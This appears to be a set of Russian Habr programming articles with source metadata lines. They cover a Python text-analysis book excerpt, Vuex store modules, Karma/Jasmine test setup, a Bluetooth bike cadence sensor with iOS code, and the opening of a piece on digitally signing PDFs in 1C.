[](https://habr.com/ru/company/piter/blog/444384/) Технологии анализа текстовой информации стремительно меняются под влиянием машинного обучения. Нейронные сети из теоретических научных исследований перешли в реальную жизнь, и анализ текста активно интегрируется в программные решения. Нейронные сети способны решать самые сложные задачи обработки естественного языка, никого не удивляет машинный перевод, «беседа» с роботом в интернет-магазине, перефразирование, ответы на вопросы и поддержание диалога. Почему же Сири, Алекса и Алиса не хотят нас понимать, Google находит не то, что мы ищем, а машинные переводчики веселят нас примерами «трудностей перевода» с китайского на албанский? Ответ кроется в мелочах – в алгоритмах, которые правильно работают в теории, но сложно реализуются на практике. Научитесь применять методы машинного обучения для анализа текста в реальных задачах, используя возможности и библиотеки Python. От поиска модели и предварительной обработки данных вы перейдете к приемам классификации и кластеризации текстов, затем приступите к визуальной интерпретации, анализу графов, а после знакомства с приемами масштабирования научитесь использовать глубокое обучение для анализа текста.
### О чем рассказывается в этой книге
В этой книге рассказывается о применении методов машинного обучения для анализа текста с использованием только что перечисленных библиотек на Python. Прикладной характер книги предполагает, что мы сосредоточим свое внимание не на академической лингвистике или статистических моделях, а на эффективном развертывании моделей, обученных на тексте внутри приложения.
Предлагаемая нами модель анализа текста напрямую связана с процессом машинного обучения — поиска модели, состоящей из признаков, алгоритма и гиперпараметров, которая давала бы лучшие результаты на обучающих данных, с целью оценки неизвестных данных. Этот процесс начинается с создания обучающего набора данных, который в сфере анализа текстов называют корпусом. Затем мы исследуем методы извлечения признаков и предварительной обработки для представления текста в виде числовых данных, понятных методам машинного обучения. Далее, познакомившись с некоторыми основами, мы перейдем к исследованию приемов классификации и кластеризации текста, рассказ о которых завершает первые главы книги.
В последующих главах основное внимание уделяется расширению моделей более богатыми наборами признаков и созданию приложений анализа текстов. Сначала мы посмотрим, как можно представить и внедрить контекст в виде признаков, затем перейдем к визуальной интерпретации для управления процессом выбора модели. Потом мы посмотрим, как анализировать сложные отношения, извлекаемые из текста с применением приемов анализа графов. После этого обратим свой взгляд в сторону диалоговых агентов и углубим наше понимание синтаксического и семантического анализа текста. В заключение книги будет представлено практическое обсуждение приемов масштабирования анализа текста в многопроцессорных системах с применением Spark, и, наконец, мы рассмотрим следующий этап анализа текста: глубокое обучение.
### Кому адресована эта книга
Эта книга адресована программистам на Python, интересующимся применением методов обработки естественного языка и машинного обучения в своих программных продуктах. Мы не предполагаем наличия у наших читателей специальных академических или математических знаний и вместо этого основное внимание уделяем инструментам и приемам, а не пространным объяснениям. В первую очередь в этой книге обсуждается анализ текстов на английском языке, поэтому читателям пригодится хотя бы базовое знание грамматических сущностей, таких как существительные, глаголы, наречия и прилагательные, и того, как они связаны между собой. Читатели, не имеющие опыта в машинном обучении и лингвистике, но обладающие навыками программирования на Python, не будут чувствовать себя потерянными при изучении понятий, которые мы представим.
### Отрывок. Извлечение графов из текста
Извлечение графа из текста — сложная задача. Ее решение обычно зависит от предметной области, и, вообще говоря, поиск структурированных элементов в неструктурированных или полуструктурированных данных определяется контекстно-зависимыми аналитическими вопросами.
Мы предлагаем разбить эту задачу на более мелкие шаги, организовав простой процесс анализа графов, как показано на рис. 9.3.

В этом процессе мы сначала определяем сущности и связи между ними, исходя из описания задачи. Далее, на основе этой схемы определяем методику выделения графа из корпуса, используя метаданные, документы в корпусе и словосочетания или лексемы в документах для извлечения данных и связей между ними. Методика выделения графа — это циклический процесс, который можно применить к корпусу, сгенерировать граф и сохранить этот граф на диск или в память для дальнейшей аналитической обработки.
На этапе анализа производятся вычисления на извлеченном графе, например, кластеризация, структурный анализ, фильтрация или оценка, и создается новый граф, который используется в приложениях. По результатам этапа анализа мы можем вернуться к началу цикла, уточнить методику и схему, извлечь или свернуть группы узлов или ребер, чтобы попробовать добиться более точных результатов.
### Создание социального графа
Рассмотрим наш корпус новостных статей и задачу моделирования связей между разными сущностями в тексте. Если рассматривать вопрос различий в охвате между разными информационными агентствами, можно построить граф из элементов, представляющих названия публикаций, имена авторов и источники информации. А если целью является объединение упоминаний одной сущности во множестве статей, в дополнение к демографическим деталям наши сети могут зафиксировать форму обращения (уважительную и другие). Интересующие нас сущности могут находиться в структуре самих документов или содержаться непосредственно в тексте.
Допустим, наша цель — выяснить людей, места и все что угодно, связанные друг с другом в наших документах. Иными словами, нам нужно построить социальную сеть, выполнив серию преобразований, как показано на рис. 9.4. Начнем конструирование графа с применения класса EntityExtractor, созданного в главе 7. Затем добавим преобразователи, один из которых отыскивает пары связанных сущностей, а второй преобразует эти пары в граф.

**Поиск пар сущностей**
Наш следующий шаг — создание класса EntityPairs, который получает документы в виде списков сущностей (созданных классом EntityExtractor из главы 7). Этот класс должен действовать как преобразователь в конвейере Pipeline из Scikit-Learn, а значит, наследовать классы BaseEstimator и TransformerMixin, как рассказывалось в главе 4. Предполагается, что сущности в одном документе безусловно связаны друг с другом, поэтому добавим метод pairs, использующий функцию itertools.permutations для создания всех возможных пар сущностей в одном документе. Наш метод transform будет вызывать pairs для каждого документа в корпусе:
```
import itertools
from sklearn.base import BaseEstimator, TransformerMixin
class EntityPairs(BaseEstimator, TransformerMixin):
def __init__(self):
super(EntityPairs, self).__init__()
def pairs(self, document):
return list(itertools.permutations(set(document), 2))
def fit(self, documents, labels = None):
return self
def transform(self, documents):
return [self.pairs(document) for document in documents]
```
Теперь можно последовательно извлечь сущности из документов и составить пары. Но мы пока не можем отличить пары сущностей, встречающихся часто, от пар, встречающихся только один раз. Мы должны как-то закодировать вес связи между сущностями в каждой паре, чем мы и займемся в следующем разделе.
### Графы свойств
Математическая модель графа определяет только наборы узлов и ребер и может быть представлена в виде матрицы смежности (adjacency matrix), которой можно пользоваться в самых разных вычислениях. Но она не поддерживает механизм моделирования силы или типов связей. Появляются ли две сущности только в одном документе или во многих? Встречаются ли они вместе в статьях определенного жанра? Для поддержки подобных рассуждений нам нужен некий способ, позволяющий сохранить значимые свойства в узлах и ребрах графа.
Модель графа свойств позволяет встроить в граф больше информации, тем самым расширяя наши возможности. В графе свойств узлами являются объекты с входящими и исходящими ребрами и, как правило, содержащие поле type, напоминая таблицу в реляционной базе данных. Ребра — это объекты, определяющие начальную и конечную точки; эти объекты обычно содержат поле label, идентифицирующее тип связи, и поле weight, определяющее силу связи. Применяя графы для анализа текста, в роли узлов мы часто используем существительные, а в роли ребер — глаголы. После перехода к этапу моделирования это позволит нам описать типы узлов, метки связей и предполагаемую структуру графа.
### Об авторах
Бенджамин Бенгфорт (Benjamin Bengfort) — специалист в области data science, живущий в Вашингтоне, внутри кольцевой автострады, но полностью игнорирующий политику (обычное дело для округа Колумбия) и предпочитающий заниматься технологиями. В настоящее время работает над докторской диссертацией в Университете штата Мериленд, где изучает машинное обучение и распределенные вычисления. В его лаборатории есть роботы (хотя это не является его любимой областью), и к его большому огорчению, помощники постоянно вооружают этих роботов ножами и инструментами, вероятно, с целью победить в кулинарном конкурсе. Наблюдая, как робот пытается нарезать помидор, Бенджамин предпочитает сам хозяйничать на кухне, где готовит французские и гавайские блюда, а также шашлыки и барбекю всех видов. Профессиональный программист по образованию, исследователь данных по призванию, Бенджамин часто пишет статьи, освещающие широкий круг вопросов — от обработки естественного языка до исследования данных на Python и применения Hadoop и Spark в аналитике.
Д-р Ребекка Билбро (Dr. Rebecca Bilbro) — специалист в области data science, программист на Python, учитель, лектор и автор статей; живет в Вашингтоне (округ Колумбия). Специализируется на визуальной оценке результатов машинного обучения: от анализа признаков до выбора моделей и настройки гиперпараметров. Проводит исследования в области обработки естественного языка, построения семантических сетей, разрешения сущностей и обработки информации с большим количеством измерений. Как активный участник сообщества пользователей и разработчиков открытого программного обеспечения, Ребекка с удовольствием сотрудничает с другими разработчиками над такими проектами, как Yellowbrick (пакет на языке Python, целью которого является прогнозное моделирование на манер черного ящика). В свободное время часто катается на велосипедах с семьей или практикуется в игре на укулеле. Получила докторскую степень в Университете штата Иллинойс, в Урбана-Шампейн, где занималась исследованием практических приемов коммуникации и визуализации в технике.
» Более подробно с книгой можно ознакомиться на [сайте издательства](https://www.piter.com/collection/all/product/prikladnoy-analiz-tekstovyh-dannyh-na-python-mashinnoe-obuchenie-i-sozdanie-prilozheniy-obrabotki-estestvennogo-yazyka?_gs_cttl=120&gs_direct_link=1&gsaid=82744&gsmid=29789&gstid=c)
» [Оглавление](https://storage.piter.com/upload/contents/978544611153/978544611153_X.pdf)
» [Отрывок](https://storage.piter.com/upload/contents/978544611153/978544611153_p.pdf)
Для Хаброжителей скидка 20% по купону — **Python**
По факту оплаты бумажной версии книги на e-mail высылается электронная версия книги.
P.S.: 7% от стоимости книги пойдет на перевод новых компьютерных книг, список сданных в типографию книг [здесь](https://www.piter.com/collection/skoro). | https://habr.com/ru/post/444384/ | null | ru | null |
# Модульность во Vue.js и Vuex

При написании больших фронтенд-приложений управление состоянием может стать довольно сложной и утомительной задачей.

Для Vue.js был разработан плагин Vuex, предназначенный для управления состоянием. По умолчанию в нем выстроена следующая структура папок:

*Структура папок в хранилище Vuex*
Эту структуру папок можно было бы использовать в небольших приложениях, но в больших исходный код, скорее всего, будет выглядеть нечитаемо и некрасиво, а со временем с ним станет тяжело работать.

*О да, я узнал это на собственном горьком опыте*
Я бы рекомендовал структуру папок, в которой хранилище разбито на различные модули. Например:

*Рекомендованная структура Vuex (прим. пер.: на этой картинке автор, вероятно, забыл добавить файл store/modules/user/mutations.js, т.к. он фигурирует далее в коде)*
Эта структура папок разбивает хранилище на модули, у каждого из которых есть своя отдельная папка. Папка со всеми модулями находится там же, где и index.js, сгенерированный с помощью Vuex. Как и следовало ожидать, содержимое файла index.js нужно тоже поменять, например на такое:
```
import Vue from "vue";
import Vuex from "vuex";
import state from './state.js'
import actions from './actions.js'
import mutations from './mutations.js'
import getters from './getters.js'
import user from './modules/user/index.js'
Vue.use(Vuex);
export default new Vuex.Store({
state,
mutations,
actions,
getters,
modules: {
user
}
});
```
В этом примере я создал модуль «user», импортировал его в index.js, предоставленный библиотекой Vuex. Таким образом, модуль «user» был подключен к хранилищу, и теперь доступен.
Переходя к модулю «user» мы импортируем state, actions, getters и mutations в modules/user/index.js таким образом:
```
import state from './state.js'
import mutations from './mutations.js'
import actions from './actions.js'
import getters from './getters.js'
export default {
namespaced: true,
state,
mutations,
getters,
actions,
}
```
Если вы заметили, полю namespaced было задано значение true. Это обусловлено тем, что в определенных обстоятельствах мы хотим иметь возможность указать, чтобы определенный модуль искал определенное действие, состояние или геттер. Идем дальше...
### Состояние
Из-за перехода от стандартной структуры Vuex к модульной методы, через которые мы получали доступ к состоянию Vuex, нужно изменить. Например, мы не сможем получить доступ к полю userAvatar из состояния модуля «user» простым отображением поля userAvatar на поля объекта вычисляемых свойств (прим. пер.: под простым отображением понимается такой стандартный способ вызова функции mapState: `...mapState(['userAvatar'])}`). Так что мы используем функцию mapState (прим. пер.: эта функция автоматически генерирует вычисляемые свойства) в скрипте компонента следующим образом:
```
import {mapState} from 'vuex'
export default {
computed: {
...mapState({
userAvatar: state => state.user.userAvatar
})
},
}
```
Выше показан рекомендованный метод получения доступа к состоянию модуля, которое бы выглядело так:
```
export default {
userAvatar: "img-location"
};
```
### Действия
Также нельзя ожидать, что действие из модуля «user» будет доступно простым отображением действий на поля объекта методов. Нам бы пришлось указать конкретный модуль, к которому мы пытаемся получить доступ, например:
```
import {mapActions} from 'vuex'
export default {
methods: {
...mapActions("user", ["getUserInfo"]),
userInfo() {
this.getUserInfo()
// вы могли бы либо отобразить это – как мы сделали выше (прим. пер.: вероятно, имеется в виду строчка <..mapActions("user", ["getUserInfo"]),>), либо вызвать в точности тем же способом,
// что использован ниже
this.$store.dispatch('user/getUserInfo')
// эти два метода выполняют одну и ту же задачу – вызов действия getUserInfo
}
},
}
```
Выше представлен предпочтительный метод доступа к действию из модульного Vuex в случае использования следующего файла с действиями:
```
export default {
getUserInfo() {
alert('Successful')
}
}
```
### Мутации
Мутации используются для синхронных функций и чаще всего используются для изменения состояния. Способ получения доступа к мутации также будет другим.
```
export default {
methods: {
setuserInfo() {
let data = {
name: 'Henry'
}
this.$store.commit('user/setUserInfo', data)
}
},
}
```
Выше представлен рекомендованный способ доступа к мутации в модульном Vuex при использовании такого файла с мутациями:
```
export default {
setUserInfo: (state, data) => {
state.user = data
}
}
```
### Геттеры
Геттеры подобны вычисляемому свойству компонента. Их используют для вычислений или фильтрации. Типичный случай использования геттеров – сортировка по отличиям в полях или по доступности полей, например:
```
export default {
getActiveUsers: state => {
return state.users.filter(x => x.active === true)
}
}
```
Выше – рекомендованный способ объявления или записи геттера, при этом к нему можно получить доступ с помощью отображения геттеров на поля объекта вычисляемых свойств, например вот так:
```
import {mapState} from 'vuex'
export default {
computed: {
...mapGetters('user', ['getActiveUsers'])
},
}
```
Это был долгий путь, надеюсь, что у вас получилось использовать модульный Vuex и писать более чистый код. | https://habr.com/ru/post/509904/ | null | ru | null |
# Настройка окружения unit тестирования javascript
Вначале была функция и вызывали ее в одном месте. Потом мы захотели вызвать ее в другом месте с новыми возможностями и обновили ее. Нам эта ф-ия так понравилась, что мы вызвали ее в третьем месте и еще сделали функциональные правки и… в первом месте что-то пошло не так. А как узнать? Проверять во всех местах где мы использовали эту функцию, все ли правильно работает? Можно, но лучше использовать unit тесты.

Всем привет. На связи аноним из песочницы. Как правильно тестировать свой код вы можете найти в первых строчках поисковика, а вот с настройкой окружения приходится повозиться. Так вот сегодня я хочу помочь начинающим разработчикам настроить окружение для unit тестирования своего кода.
> P.S. — имеет смысл читать статью далее, если читатель освоил работу с npm или подобным менеджером пакетов.
Начнем с небольших определений:
* unit-тестирование — это технология, цель которой уменьшить вероятность ошибок и побочных эффектов (когда при исправлении одного бага вносится другой баг).
* [karma](http://karma-runner.github.io/latest/index.html) — инструмент, позволяющий запустить java-script тесты в браузерах.
* [jasmine](https://jasmine.github.io/) — фреймворк для тестирования javasctript кода.
В [инструкции по установке](https://karma-runner.github.io/latest/intro/installation.html) Karma (как и во многих других) говорится, что пакеты следует установить в проекте локально.
```
# Install Karma:
$ npm install karma --save-dev
```
```
# Install plugins that your project needs:
$ npm install karma-jasmine karma-chrome-launcher jasmine-core --save-dev
```
Для удобства мы также можем установить глобально karma-cli `npm install -g karma-cli`, иначе из терминала команды будут доступна так `./node_modules/karma/bin/karma`.
После чего мы можем создать файл конфигурации:
```
karma init karma.conf.js
```
* Вначале у нас спросят используемый фреймворк для тестирования. ( jasmine )
* Используем ли мы файловый/модульный загрузчик Require.js. ( Нет )
* Какие браузеры мы хотим просматривать ( Chrome )
* Какие файлы мы прослушиваем. ( \*[Ss]pec.js )
* Следует ли исключить какие-то файлы
* Следить ли за изменениям тестов ( yes )
Ответив на вопросы, у нас появится файл конфигурации.
**Файл конфигурации**
```
// Karma configuration
// Generated on Thu May 09 2019 18:54:02 GMT+0300 (RTZ 2 (зима))
module.exports = function(config) {
config.set({
// base path that will be used to resolve all patterns (eg. files, exclude)
basePath: '',
// frameworks to use
// available frameworks: https://npmjs.org/browse/keyword/karma-adapter
frameworks: ['jasmine'],
// list of files / patterns to load in the browser
files: [
'*[Ss]pec.js'
],
// list of files / patterns to exclude
exclude: [
],
// preprocess matching files before serving them to the browser
// available preprocessors: https://npmjs.org/browse/keyword/karma-preprocessor
preprocessors: {
},
// test results reporter to use
// possible values: 'dots', 'progress'
// available reporters: https://npmjs.org/browse/keyword/karma-reporter
reporters: ['progress'],
// web server port
port: 9876,
// enable / disable colors in the output (reporters and logs)
colors: true,
// level of logging
// possible values: config.LOG_DISABLE || config.LOG_ERROR || config.LOG_WARN || config.LOG_INFO || config.LOG_DEBUG
logLevel: config.LOG_INFO,
// enable / disable watching file and executing tests whenever any file changes
autoWatch: true,
// start these browsers
// available browser launchers: https://npmjs.org/browse/keyword/karma-launcher
browsers: ['Chrome'],
// Continuous Integration mode
// if true, Karma captures browsers, runs the tests and exits
singleRun: false,
// Concurrency level
// how many browser should be started simultaneous
concurrency: Infinity
})
}
```
Создадим еще один файл с тестами.
**Файл с тестами**
```
// test.spec.js
describe("A suite is just a function", function() {
var a;
it("and so is a spec", function() {
a = true;
expect(a).toBe(true);
});
it("and so is a spec", function() {
a = true;
expect(a).toBe(false);
});
});
```
Мы уже можем посмотреть как работает наш тест запустив команду `karma start karma.conf.js`, но я рекомендую немного подождать и сделать дополнительные надстройки.
Установим пакет `npm i -D karma-jasmine-html-reporter`, который в браузере динамически отобразит результаты тестов. Дополним конфиг кармы:
```
...
reporters: ['progress', 'kjhtml'],
client: {
clearContext: false // leave Jasmine Spec Runner output visible in browser
},
...
```
Теперь у нас все готово. Запускаем `karma start karma.conf.js` и приступаем к своему первому тестированию :D | https://habr.com/ru/post/456050/ | null | ru | null |
# Кручу, кручу, кручу, педали кручу

Дети подросли и оборвали провода на тренажере. Вело-табло приказало долго жить и крутить педали стало не интересно. Я решил починить табло по-нашенски, по ios-овски.
И проделал следующие шаги
* примотал простейший BLE датчик к корпусу тренажера
* прилепил магнит к шатуну
* написал программу под iPad
Далее чуть-чуть подробнее, со схемой, текстом, фото и видео.
#### Cadence sensor

Рис. 1 Фотография датчика
Общая схема работы устройства простая — геркон реагирует на приближение магнита, замыкает цепь, BLE-датчик посылает сигнал о событии.

Рис. 2 Схема счетчика обормотов
Для создания датчика необходимо купить следующие детали
* BLE112 — [блутуз-контроллер](http://www.compel.ru/infosheet/BLUEGIGA/BLE112-A-v1/) компании BlueGiga
* литиевую батарейку 3 вольта
* [геркон](http://ru.aliexpress.com/item/Magnetic-reed-switches-MKA-14103-AT10-15-2mm-14mm/954776340.html) (на схеме S1)
* сопротивление и два конденсатора
* черную коробочку
и собрать согласно схеме.
Общая стоимость устройства — менее $20.
Размер датчика смотрите на рисунке 3, вес — 50 граммов.

Рис. 3 Размеры датчика
BLE112 необходимо запрограммировать следующим образом
**Текст прошивки**
```
# Cadence sensor prototype
dim tmp(12)
dim counter
dim result
dim last
dim sleep_counter
dim awake
dim connected
event system_boot(major,minor,patch,build,ll_version,protocol,hw)
# call gap_set_mode(gap_general_discoverable,gap_undirected_connectable)
# call sm_set_bondable_mode(1)
# call hardware_set_soft_timer(32000 * 30, 0, 0)
# Set pins P1_0, P1_1 as output to prevent current leak (BLE112_Datasheet.pdf section 2.1)
call hardware_io_port_config_direction(1, 3)(result)
call hardware_io_port_write(1, 3, 3)(result)
# # Pull P0 up and enable interrupts on P0_0 (on falling edge)
#call hardware_io_port_config_pull(0, 0, 1)(result)
call hardware_io_port_config_irq(0, 1, 0)(result)
end
event hardware_soft_timer(handle)
if connected = 0 then
sleep_counter = sleep_counter + 1
if sleep_counter >= 2 then
# go to sleep
# disable timer
call hardware_set_soft_timer(0, 0, 0)
awake = 0
# disable BT broadcast
call gap_set_mode(gap_non_discoverable, gap_non_connectable)
end if
else
# read battery level
call hardware_adc_read(15,3,0)
end if
end
event hardware_io_port_status(timestamp, port, irq, state)
# Debounce filter: ignore events with rates > ~180 RPM
if timestamp > (last + 10000) then
if awake = 0 then
call gap_set_mode(gap_general_discoverable, gap_undirected_connectable)
#call sm_set_bondable_mode(1)
call hardware_set_soft_timer(32000 * 60, 0, 0) # single shot sleep timer
awake = 1
end if
sleep_counter = 0
counter = counter + 1
result = timestamp >> 5
# S+C
tmp(0:1) = $3
tmp(1:4) = counter
tmp(5:2) = result
tmp(7:2) = counter
tmp(9:2) = result
call attributes_write(xgatt_cadence, 0, 11, tmp(0:11))
end if
last = timestamp
end
event hardware_adc_result(input,value)
#battery level reading received, store to gatt
if input = 15 then
call attributes_write(xgatt_battery, 0, 2, value)
end if
end
event connection_status(connection, flags, address, address_type, conn_interval, timeout, latency, bonding)
connected = 1
end
event connection_disconnected(handle,result)
call gap_set_mode(gap_general_discoverable, gap_undirected_connectable)
connected = 0
end
```
#### Магнит
Магнит крепится к любой двигающейся части Вашего велосипеда, тренажера, шагожора и т.д. На рисунке 4 магнит в виде шайбы прилеплен к шаго-тренажеру.

Рис. 4 Крепление магнита к шатуну

Рис. 5 При приближении магнита к датчику, датчик срабатывает и посылает сигнал на iPad
При приближении к магниту геркон издает характерный щелчок — это полезно при отладке программы и проверки работоспособности устройства.
#### Приложение под iOS
Приложение состоит из трех замечательных частей
* часть первая — прием события от BLE
* часть вторая — расчет и отображение данных полета
* часть третья — 3D анимация
#### Прием события от BLE
**Сканируем сигнал от BLE**
```
//
// BTLE.m
// doraPhone
//
#import "BTLE.h"
#import "AppDelegate.h"
static CBUUID
*kServiceCbuuidCadence,
*kServiceDeviceInfo,
*kCharacteristicDeviceModel,
*kCharacteristicDeviceSerial,
*kCharacteristicCadence
;
static const char* cbCentralStateNames[] = {
"CBCentralManagerStateUnknown",
"CBCentralManagerStateResetting",
"CBCentralManagerState",
"CBCentralManagerStateUnauthorized",
"CBCentralManagerStatePoweredOff",
"CBCentralManagerStatePoweredOn"
};
static const char* btleStateName(int state)
{
const char* stateName = "INVALID";
if (state >= 0 && state < sizeof(cbCentralStateNames)/sizeof(const char*)) {
stateName = cbCentralStateNames[state];
}
return stateName;
}
@implementation BTLE
+ (void)initialize
{
kServiceCbuuidCadence = [CBUUID UUIDWithString:@"1816"];
kServiceDeviceInfo = [CBUUID UUIDWithString:@"180A"];
kCharacteristicDeviceModel = [CBUUID UUIDWithString:@"2A24"];
kCharacteristicDeviceSerial = [CBUUID UUIDWithString:@"2A25"];
kCharacteristicCadence = [CBUUID UUIDWithString:@"2A5B"];
}
- (void)startScan
{
if (![self isLECapableHardware]) {
return;
}
[_manager scanForPeripheralsWithServices:@[kServiceCbuuidCadence]
options:@{CBCentralManagerScanOptionAllowDuplicatesKey: @YES}];
NSLog(@"Started BLE scan");
}
- (void)stopScan
{
[_manager stopScan];
}
- (void)centralManagerDidUpdateState:(CBCentralManager *)central
{
NSLog(@"New Bluetooth state: %s", btleStateName(central.state));
switch (central.state) {
case CBCentralManagerStatePoweredOn:
[self startScan];
break;
case CBCentralManagerStateResetting:
case CBCentralManagerStateUnauthorized:
case CBCentralManagerStateUnknown:
case CBCentralManagerStateUnsupported:
case CBCentralManagerStatePoweredOff:
break;
}
}
- (void)peripheral:(CBPeripheral *)peripheral didDiscoverServices:(NSError *)error
{
NSLog(@"Discovered services for peripheral");
for (CBService* s in peripheral.services) {
NSLog(@"Service: %@", s.UUID);
}
for (CBService* s in peripheral.services) {
if ([s.UUID isEqual:kServiceDeviceInfo]) {
NSLog(@"Device info service found");
[peripheral discoverCharacteristics:[NSArray arrayWithObjects:kCharacteristicDeviceModel, kCharacteristicDeviceSerial, nil] forService:s];
} else if ([s.UUID isEqual:kServiceCbuuidCadence]) {
NSLog(@"Cadence service found");
[peripheral discoverCharacteristics:@[kCharacteristicCadence] forService:s];
}
}
}
- (void)peripheral:(CBPeripheral *)peripheral didDiscoverCharacteristicsForService:(CBService *)service error:(NSError *)error
{
if ([service.UUID isEqual:kServiceCbuuidCadence]) {
for (CBCharacteristic* c in service.characteristics) {
if ([c.UUID isEqual:kCharacteristicCadence]) {
NSLog(@"Found characteristic: Cadence");
[peripheral setNotifyValue:YES forCharacteristic:c];
} else {
NSLog(@"Discovered unsupported characteristic %@", c.UUID);
}
}
} else if ([service.UUID isEqual:kServiceDeviceInfo]) {
for (CBCharacteristic* c in service.characteristics) {
NSLog(@"Discovered characteristic %@", c.UUID);
if ([c.UUID isEqual:kCharacteristicDeviceModel] || [c.UUID isEqual:kCharacteristicDeviceSerial]) {
[peripheral readValueForCharacteristic:c];
}
}
} else {
NSLog(@"ERROR: got characteristics for service %@ - was not requesting those", service.UUID);
return;
}
}
- (void)centralManager:(CBCentralManager *)central didConnectPeripheral:(CBPeripheral *)peripheral
{
NSLog(@"Connected peripheral %@", peripheral);
AppDelegate *appRoot = (AppDelegate *)[[UIApplication sharedApplication] delegate];
// TODO
appRoot.isConnected = true;
// FIXME: delegate needs to be set to blePeripheral
peripheral.delegate = self;
[peripheral discoverServices:@[kServiceCbuuidCadence, kServiceDeviceInfo]];
}
-(void)peripheral:(CBPeripheral *)peripheral didUpdateValueForCharacteristic:(CBCharacteristic *)characteristic error:(NSError *)error
{
if ([characteristic.UUID isEqual:kCharacteristicCadence]) {
NSData* data = characteristic.value;
AppDelegate *appRoot = (AppDelegate *)[[UIApplication sharedApplication] delegate];
// TODO
appRoot.serial = _serial;
appRoot.model = _model;
[appRoot performSelectorOnMainThread:@selector(newCadenceMeasurement:)
withObject:data
waitUntilDone:NO];
} else if ([characteristic.UUID isEqual:kCharacteristicDeviceModel]) {
NSString* model = [[NSString alloc] initWithData:characteristic.value encoding:NSUTF8StringEncoding];
NSLog(@"Device model: %@", _model);
_model = model;
} else if ([characteristic.UUID isEqual:kCharacteristicDeviceSerial]) {
// // Convert to a hex string
_serial = [[NSString alloc] initWithData:characteristic.value encoding:NSUTF8StringEncoding];
NSLog(@"Device serial: %@", _serial);
} else {
NSLog(@"ERROR: unexpected BLE Notify: %@ %@=%@", peripheral, characteristic.UUID, characteristic.value);
}
}
- (void)centralManager:(CBCentralManager *)central didDisconnectPeripheral:(CBPeripheral *)peripheral error:(NSError *)error
{
AppDelegate *appRoot = (AppDelegate *)[[UIApplication sharedApplication] delegate];
appRoot.isConnected = false;
self.peripheral = nil;
// BLEPeripheral* blePeripheral = [_peripherals ensurePeripheral:peripheral];
NSLog(@"Disconnected from %@ (%@)", peripheral.name, error.description);
}
- (void)centralManager:(CBCentralManager *)central didDiscoverPeripheral:(CBPeripheral *)peripheral advertisementData:(NSDictionary *)advertisementData RSSI:(NSNumber *)RSSI
{
if (self.peripheral == nil) {
[central connectPeripheral:peripheral options:nil];
NSLog(@"Connecting to \"%@\"", peripheral.name);
self.peripheral = peripheral;
}
}
/*
Uses CBCentralManager to check whether the current platform/hardware supports Bluetooth LE. An alert is raised if Bluetooth LE is not enabled or is not supported.
*/
- (BOOL)isLECapableHardware
{
BOOL result = FALSE;
BOOL unknownState = NO;
NSString * errorString = nil;
int state = [_manager state];
switch (state)
{
case CBCentralManagerStateUnsupported:
errorString = @"The platform/hardware doesn't support Bluetooth Low Energy.";
break;
case CBCentralManagerStateUnauthorized:
errorString = @"The app is not authorized to use Bluetooth Low Energy.";
break;
case CBCentralManagerStatePoweredOff:
errorString = @"Bluetooth is currently powered off.";
break;
case CBCentralManagerStatePoweredOn:
result = TRUE;
case CBCentralManagerStateUnknown:
default:
unknownState = YES;
errorString = @"Unknown state";
;
//result = FALSE;
}
const char* stateName = btleStateName(state);
NSLog(@"Central manager state: %s (%u)", stateName, state);
if (!result && !unknownState) {
UIAlertView *alert = [[UIAlertView alloc] init];
alert.message = errorString;
[alert addButtonWithTitle:@"OK"];
[alert show];
}
return result;
}
- (id)init
{
_queue = dispatch_queue_create("ru.intersofteurasia.do-ra.ble", NULL);
_manager = [[CBCentralManager alloc] initWithDelegate:self queue:_queue];
return self;
}
- (void)dealloc
{
[self stopScan];
}
@end
```
#### Анимация
Сначала сделал трассу — мост в Крым. Кто-бы не владел Крымом — мост нужен.
Длина 6.2 км. Для трассы сделал 256 асфальтовых полигонов длиной 2 метра и шириной 8 метров. Добавил столько же травяных полигонов по правой и левой обочинам (рисунок 6)

Рисунок 6. Мост
Анимация соперника.
Соперник сдернут с Тур Де Франс. Ян Ульрих. Достаточно 4-ех кадров для анимации Яна. 4 кадра на 1 оборот педалей. Качество не ахти, программа была сделана за день, поэтому без изысков.

Рисунок 7. Ян Ульрих
Анимация себя — это святое.
Основное время ушло на себя в качестве главного героя гонки. Я прислонил велосипед в угол офиса и взгромоздился на него, изображая движение.

Рисунок 8. Я в офисе на велосипеде.
16 раз равномерно смещал педали — в результате сделал 16 кадров, почистил их в фотошопе, склеил анимацию. После редактирования в мультфильме осталось 12 кадров на 1 оборот педалей.
Для интереса пришлось размножить Яна Ульриха до 50 копий. 50 соперников стартует в гонке. На этом программирование завершено.
Замечу, пока отлаживался — накачал ляхи.
Полезное приложение, скажу Вам, только начинаешь гонку и уже не остановиться.
В заключении 45-секундное видео, как это работает на шагоходе. Кроме того, прибор отлично работает на велосипеде и велотренажере.
Извиняюсь за вертикальное видео, зато понятно, что кино снималось на 5-ый iPhone).
Всем спасибо. Крутите педали.
UPD. Добавил картинку с девушкой. Куда катимся, парни? | https://habr.com/ru/post/230101/ | null | ru | null |
# Электронная цифровая подпись (ЭЦП) документов в 1С за пару кликов с использованием утилиты КРИПТО-ПРО PDF
На одном из крупных проектов возникла не совсем обычная для 1С задача. Нужно было организовать массовую отправку и подписание документов контрагентов с помощью электронной цифровой подписи. Поиск информации в справочной системе и на 1Сных форумах нужного результата не дал. Пришлось разбираться со средствами криптографии, электронными ключами и сторонними утилитами. Найденное решение оказалось простым и достаточно гибки для повторения в других проектах, поэтому хочу с вами поделиться.
Постановка задачи в цифрах:
• На предприятии заказчика работает почти 3000 человек в более 50 филиалах по всей России.
• На предприятии заказчика используется УПП 1.3 (платформа 8.2.19.76).
• Более 10 000 активных контрагентов.
• Для большей части контрагентов (покупателей) раз в месяц нужно отправлять документы в электронном виде (Счета, акты, счета-фактуры, РТУ и т.д.). Всего, около 100 000 документов.
• На отправку документов выделяется 2 рабочих дня.
• В процедуре отправки должно быть задействовано минимальное количество людей. Сейчас их число удалось сократить до 2х человек.
• Документы должны отправляться по электронной почте в виде вложенных PDF-файлов. Каждый PDF-файл должен быть подписан ЭЦП.
